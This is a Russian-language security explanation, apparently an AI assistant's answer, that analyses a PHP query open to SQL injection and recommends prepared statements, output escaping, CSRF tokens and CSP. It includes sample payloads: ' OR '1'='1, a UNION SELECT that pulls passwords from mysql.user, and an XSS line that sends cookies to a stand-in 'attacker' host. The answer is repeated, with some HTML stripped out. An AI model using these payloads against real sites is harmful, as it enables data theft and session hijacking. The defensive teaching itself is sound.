Приведён HTML-форму и серверный код на PHP: $query = "SELECT * FROM users WHERE name = '".$_POST['name']."'"; $result = mysqli_query($conn, $query); Проанализируйте уязвимости (XSS, SQL-инъекции, CSRF и т.д.), покажите пример атаки и подробно опишите пошаговые технические и архитектурные меры по их устранению, включая примеры безопасного кода и рекомендации по политике безопасности
Кратко: приведённый код уязвим (прежде всего — SQL‑инъекция). Но бывают и другие риски (XSS, CSRF, утечка ошибок, плохие права БД и т.д.). Ниже — подробный анализ, пример атак и пошаговые меры исправления с безопасным кодом и рекомендациями по политике.
1) Что не так в исходном коде Исходник: $query = "SELECT * FROM users WHERE name = '".$_POST['name']."'"; $result = mysqli_query($conn, $query);
Проблемы:
SQL‑инъекция: прямая вставка $_POST['name'] в SQL. Злоумышленник может изменить структуру запроса.Возможный XSS: если вы потом выводите значение name в HTML без экранирования — отражённый/хранимый XSS.CSRF: если форма выполняет действие, зависящее от аутентификации, и нет токена — возможна подделка запроса.Неправильная обработка ошибок: вывод SQL ошибок пользователю — информационная утечка.Кодировка: отсутствие установки charset может позволить обход фильтров.Контроль прав доступа/least privilege: если DB‑пользователь имеет лишние права — риск выше.
2) Примеры атак
SQL‑инъекция (простой): Если в поле name отправить: ' OR '1'='1 то итоговый SQL станет: SELECT * FROM users WHERE name = '' OR '1'='1' — вернёт все строки.
Более опасный пример (UNION): name = ' UNION SELECT user(),database(),password FROM mysql.user -- (зависит от разрешений и схемы) — может вывести конфиденциальные данные.
XSS: Если форма записывает имя в БД и затем страница выводит его без htmlspecialchars: в поле name отправлен: fetch('https://attacker/p?c='+document.cookie)
— каждый просмотр страницы выполнит скрипт.
CSRF: Если форма (POST) делает запрос от имени аутентифицированного пользователя (например, запускает поиск, который раскрывает данные), злоумышленник может заставить пользователя отправить форму с подменёнными данными с внешней страницы, если нет проверки токена или SameSite и т.д.
3) Как исправить — пошагово (технические меры)
A. Немедленно предотвратить SQL‑инъекции — параметризованные запросы (prepared statements) Пример с mysqli:
// Подготовленный запрос $stmt = mysqli_prepare($conn, "SELECT id, name, email FROM users WHERE name = ?"); if ($stmt === false) { // логирование ошибки (не показывать пользователю подробно) error_log('MySQL prepare error: '.mysqli_error($conn)); http_response_code(500); echo "Internal error"; exit; } mysqli_stmt_bind_param($stmt, 's', $name); mysqli_stmt_execute($stmt); $result = mysqli_stmt_get_result($stmt);
Пример с PDO (рекомендуется): $pdo->exec("SET NAMES 'utf8mb4'"); $stmt = $pdo->prepare('SELECT id, name, email FROM users WHERE name = :name'); $stmt->execute(['name' => $name]); $rows = $stmt->fetchAll(PDO::FETCH_ASSOC);
Объяснение: подготовленные выражения отделяют код SQL от данных — полностью устраняют SQLi.
B. Экранирование вывода — защита от XSS Всегда экранируйте данные при выводе в HTML:
// при выводе: echo htmlspecialchars($row['name'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
Если вставляете в JavaScript — используйте json_encode: echo 'let name = '.json_encode($row['name']).';';
C. Защита от CSRF
Генерируйте CSRF‑токен при сессии и храните в $_SESSION.Вставляйте Token в скрытое поле формы и проверяйте при POST.
Пример HTML + PHP:
// при генерации формы session_start(); if (empty($_SESSION['csrf'])) { $_SESSION['csrf'] = bin2hex(random_bytes(32)); } $csrf = $_SESSION['csrf']; / в форме /
// при приеме session_start(); if (!hash_equals($_SESSION['csrf'] ?? '', $_POST['csrf'] ?? '')) { http_response_code(403); echo "Invalid CSRF token"; exit; }
Также: устанавливайте cookie SameSite=Lax/Strict для автоматического уменьшения CSRF‑риска.
D. Валидация и нормализация входных данных
Для поля имени лучше применять белый список допустимых символов и ограничения по длине: if (!preg_match('/^[\p{L}\p{M}\' -]{1,100}$/u', $name)) { / ошибка / }Хотя параметризованные запросы решают SQLi, валидация нужна для логики и предотвращения лишних данных.
E. Установите корректную кодировку соединения mysqli_set_charset($conn, 'utf8mb4'); и response header: header('Content-Type: text/html; charset=utf-8');
F. Права БД — принцип наименьших привилегий
Пользователь БД, используемый веб‑приложением, должен иметь только нужные права (SELECT/INSERT/UPDATE/DELETE) на конкретную БД/таблицу. Не использовать root.
G. Обработка ошибок и логирование
Не выводите SQL‑ошибки и стеки пользователю. Логируйте полный контекст в защищённые логи.На продакшне включённый display_errors — недопустим.
H. Политики и заголовки безопасности HTTP
Content-Security-Policy: ограничить источники скриптов, стилей и т.д. header("Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';");X-Frame-Options: DENY (защита от clickjacking).X-Content-Type-Options: nosniff.Referrer-Policy, Permissions-Policy.HSTS: Strict-Transport-Security при HTTPS.
5) Архитектурные и организационные рекомендации (политики)
Политика secure-by-default: шаблоны кода в проекте должны использовать параметризацию запросов и экранирование вывода.Обязательно код‑ревью для всех PR, включающее проверку на инъекции и XSS.Регулярный SAST/DAST и периодические pentest.Политика прав доступа к БД: least privilege, отдельные аккаунты для разных сервисов.Политика разграничения логов и инцидентов: хранить логи, настроить алерты при аномалиях.Управление зависимостями: регулярные обновления библиотек и проверка уязвимостей.Обучение разработчиков по OWASP Top10 и безопасному кодированию.Использование CSP и других заголовков в стандартизированной политике.Архитектурный принцип: defence‑in‑depth — не полагаться на одну защиту (например, Prepared Statements + валидация + выводное экранирование + CSP).Тесты: покрытие на тесты, моделирующие атаки (например, интеграционные тесты с вредоносными строками).
6) Контрольные пункты (чеклист)
[ ] Все запросы к БД — параметры/подготовленные выражения.[ ] Выводимые данные — экранированы в зависимости от контекста.[ ] CSRF‑токены на всех state‑changing POST/PUT/DELETE запросах.[ ] Кодировка соединения и страниц — utf8mb4.[ ] Cookie: Secure, HttpOnly, SameSite.[ ] Заголовки CSP, HSTS, X‑Frame‑Options, X‑Content‑Type‑Options установлены.[ ] Логирование ошибок, без утечек в UI.[ ] DB пользователь с минимальными привилегиями.[ ] Rate limiting, WAF и мониторинг включены.
Если нужно, могу:
Переписать ваш конкретный контроллер/форму под PDO с полным объяснением.Сгенерировать пример CSP, подходящий для вашего приложения.Подготовить чеклист проверки безопасности кода для команды.
Скажете — какой у вас стек (mysqli/PDO/фреймворк), храните ли пароли в users и нужен ли пример миграции для пароля (hashing) — дам конкретный код.
Кратко: приведённый код уязвим (прежде всего — SQL‑инъекция). Но бывают и другие риски (XSS, CSRF, утечка ошибок, плохие права БД и т.д.). Ниже — подробный анализ, пример атак и пошаговые меры исправления с безопасным кодом и рекомендациями по политике.
1) Что не так в исходном коде
Исходник:
$query = "SELECT * FROM users WHERE name = '".$_POST['name']."'";
$result = mysqli_query($conn, $query);
Проблемы:
SQL‑инъекция: прямая вставка $_POST['name'] в SQL. Злоумышленник может изменить структуру запроса.Возможный XSS: если вы потом выводите значение name в HTML без экранирования — отражённый/хранимый XSS.CSRF: если форма выполняет действие, зависящее от аутентификации, и нет токена — возможна подделка запроса.Неправильная обработка ошибок: вывод SQL ошибок пользователю — информационная утечка.Кодировка: отсутствие установки charset может позволить обход фильтров.Контроль прав доступа/least privilege: если DB‑пользователь имеет лишние права — риск выше.2) Примеры атак
SQL‑инъекция (простой):
Если в поле name отправить:
' OR '1'='1
то итоговый SQL станет:
SELECT * FROM users WHERE name = '' OR '1'='1'
— вернёт все строки.
Более опасный пример (UNION):
name = ' UNION SELECT user(),database(),password FROM mysql.user --
(зависит от разрешений и схемы) — может вывести конфиденциальные данные.
XSS:
Если форма записывает имя в БД и затем страница выводит его без htmlspecialchars:
в поле name отправлен: fetch('https://attacker/p?c='+document.cookie) — каждый просмотр страницы выполнит скрипт.
CSRF:
Если форма (POST) делает запрос от имени аутентифицированного пользователя (например, запускает поиск, который раскрывает данные), злоумышленник может заставить пользователя отправить форму с подменёнными данными с внешней страницы, если нет проверки токена или SameSite и т.д.
3) Как исправить — пошагово (технические меры)
A. Немедленно предотвратить SQL‑инъекции — параметризованные запросы (prepared statements)
Пример с mysqli:
// Установите кодировку
mysqli_set_charset($conn, 'utf8mb4');
// Получаем и валидируем вход
$name = isset($_POST['name']) ? trim($_POST['name']) : '';
// Подготовленный запрос
$stmt = mysqli_prepare($conn, "SELECT id, name, email FROM users WHERE name = ?");
if ($stmt === false) {
// логирование ошибки (не показывать пользователю подробно)
error_log('MySQL prepare error: '.mysqli_error($conn));
http_response_code(500);
echo "Internal error";
exit;
}
mysqli_stmt_bind_param($stmt, 's', $name);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
Пример с PDO (рекомендуется):
$pdo->exec("SET NAMES 'utf8mb4'");
$stmt = $pdo->prepare('SELECT id, name, email FROM users WHERE name = :name');
$stmt->execute(['name' => $name]);
$rows = $stmt->fetchAll(PDO::FETCH_ASSOC);
Объяснение: подготовленные выражения отделяют код SQL от данных — полностью устраняют SQLi.
B. Экранирование вывода — защита от XSS
Всегда экранируйте данные при выводе в HTML:
// при выводе:
echo htmlspecialchars($row['name'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
Если вставляете в JavaScript — используйте json_encode:
echo 'let name = '.json_encode($row['name']).';';
C. Защита от CSRF
Генерируйте CSRF‑токен при сессии и храните в $_SESSION.Вставляйте Token в скрытое поле формы и проверяйте при POST.Пример HTML + PHP:
// при генерации формы
session_start();
if (empty($_SESSION['csrf'])) { $_SESSION['csrf'] = bin2hex(random_bytes(32)); }
$csrf = $_SESSION['csrf'];
/ в форме /
// при приеме
session_start();
if (!hash_equals($_SESSION['csrf'] ?? '', $_POST['csrf'] ?? '')) {
http_response_code(403);
echo "Invalid CSRF token";
exit;
}
Также: устанавливайте cookie SameSite=Lax/Strict для автоматического уменьшения CSRF‑риска.
D. Валидация и нормализация входных данных
Для поля имени лучше применять белый список допустимых символов и ограничения по длине:if (!preg_match('/^[\p{L}\p{M}\' -]{1,100}$/u', $name)) { / ошибка / }Хотя параметризованные запросы решают SQLi, валидация нужна для логики и предотвращения лишних данных.
E. Установите корректную кодировку соединения
mysqli_set_charset($conn, 'utf8mb4'); и response header: header('Content-Type: text/html; charset=utf-8');
F. Права БД — принцип наименьших привилегий
Пользователь БД, используемый веб‑приложением, должен иметь только нужные права (SELECT/INSERT/UPDATE/DELETE) на конкретную БД/таблицу. Не использовать root.G. Обработка ошибок и логирование
Не выводите SQL‑ошибки и стеки пользователю. Логируйте полный контекст в защищённые логи.На продакшне включённый display_errors — недопустим.H. Политики и заголовки безопасности HTTP
Content-Security-Policy: ограничить источники скриптов, стилей и т.д.header("Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';");X-Frame-Options: DENY (защита от clickjacking).X-Content-Type-Options: nosniff.Referrer-Policy, Permissions-Policy.HSTS: Strict-Transport-Security при HTTPS.
I. Cookie и сессии
Сессионные куки: HttpOnly; Secure; SameSite=Strict (или Lax).session_set_cookie_params([
'lifetime' => 0,
'path' => '/',
'domain' => 'example.com',
'secure' => true,
'httponly' => true,
'samesite' => 'Strict'
]);
J. Защита от brute force и DDoS
Rate limiting, CAPTCHA при подозрении на автоматизацию, WAF (web application firewall).K. Тестирование и мониторинг
SAST/DAST (сканеры статического/динамического анализа), регулярные пентесты, логирование неудачных попыток и алёрты.4) Полный пример — безопасная минимальная реализация
HTML‑форма (пример):
Search<?php
session_start();
if (empty($_SESSION['csrf'])) { $_SESSION['csrf'] = bin2hex(random_bytes(32)); }
?>
search.php (пример с mysqli и prepared statements):
<?php
session_start();
header('Content-Type: text/html; charset=utf-8');
// CSRF
if (!hash_equals($_SESSION['csrf'] ?? '', $_POST['csrf'] ?? '')) {
http_response_code(403); echo "Invalid request"; exit;
}
// соединение (пример)
$conn = mysqli_connect($host, $user, $pass, $db);
if (!$conn) { error_log("DB connect error"); http_response_code(500); exit; }
mysqli_set_charset($conn, 'utf8mb4');
$name = trim($_POST['name'] ?? '');
if ($name === '' || mb_strlen($name) > 100) { echo "Invalid name"; exit; }
// опциональная валидация (пример с Unicode)
if (!preg_match('/^[\p{L}\p{M}\' -]{1,100}$/u', $name)) {
echo "Invalid characters in name"; exit;
}
$stmt = mysqli_prepare($conn, "SELECT id, name, email FROM users WHERE name = ?");
if ($stmt === false) { error_log("MySQL prepare error: ".mysqli_error($conn)); http_response_code(500); exit; }
mysqli_stmt_bind_param($stmt, 's', $name);
mysqli_stmt_execute($stmt);
$res = mysqli_stmt_get_result($stmt);
while ($row = mysqli_fetch_assoc($res)) {
echo '';
echo 'ID: '.(int)$row['id'].'
';
echo 'Name: '.htmlspecialchars($row['name'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8').'
';
echo 'Email: '.htmlspecialchars($row['email'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8').'
';
echo '';
}
mysqli_stmt_close($stmt);
mysqli_close($conn);
?>
5) Архитектурные и организационные рекомендации (политики)
Политика secure-by-default: шаблоны кода в проекте должны использовать параметризацию запросов и экранирование вывода.Обязательно код‑ревью для всех PR, включающее проверку на инъекции и XSS.Регулярный SAST/DAST и периодические pentest.Политика прав доступа к БД: least privilege, отдельные аккаунты для разных сервисов.Политика разграничения логов и инцидентов: хранить логи, настроить алерты при аномалиях.Управление зависимостями: регулярные обновления библиотек и проверка уязвимостей.Обучение разработчиков по OWASP Top10 и безопасному кодированию.Использование CSP и других заголовков в стандартизированной политике.Архитектурный принцип: defence‑in‑depth — не полагаться на одну защиту (например, Prepared Statements + валидация + выводное экранирование + CSP).Тесты: покрытие на тесты, моделирующие атаки (например, интеграционные тесты с вредоносными строками).6) Контрольные пункты (чеклист)
[ ] Все запросы к БД — параметры/подготовленные выражения.[ ] Выводимые данные — экранированы в зависимости от контекста.[ ] CSRF‑токены на всех state‑changing POST/PUT/DELETE запросах.[ ] Кодировка соединения и страниц — utf8mb4.[ ] Cookie: Secure, HttpOnly, SameSite.[ ] Заголовки CSP, HSTS, X‑Frame‑Options, X‑Content‑Type‑Options установлены.[ ] Логирование ошибок, без утечек в UI.[ ] DB пользователь с минимальными привилегиями.[ ] Rate limiting, WAF и мониторинг включены.Если нужно, могу:
Переписать ваш конкретный контроллер/форму под PDO с полным объяснением.Сгенерировать пример CSP, подходящий для вашего приложения.Подготовить чеклист проверки безопасности кода для команды.Скажете — какой у вас стек (mysqli/PDO/фреймворк), храните ли пароли в users и нужен ли пример миграции для пароля (hashing) — дам конкретный код.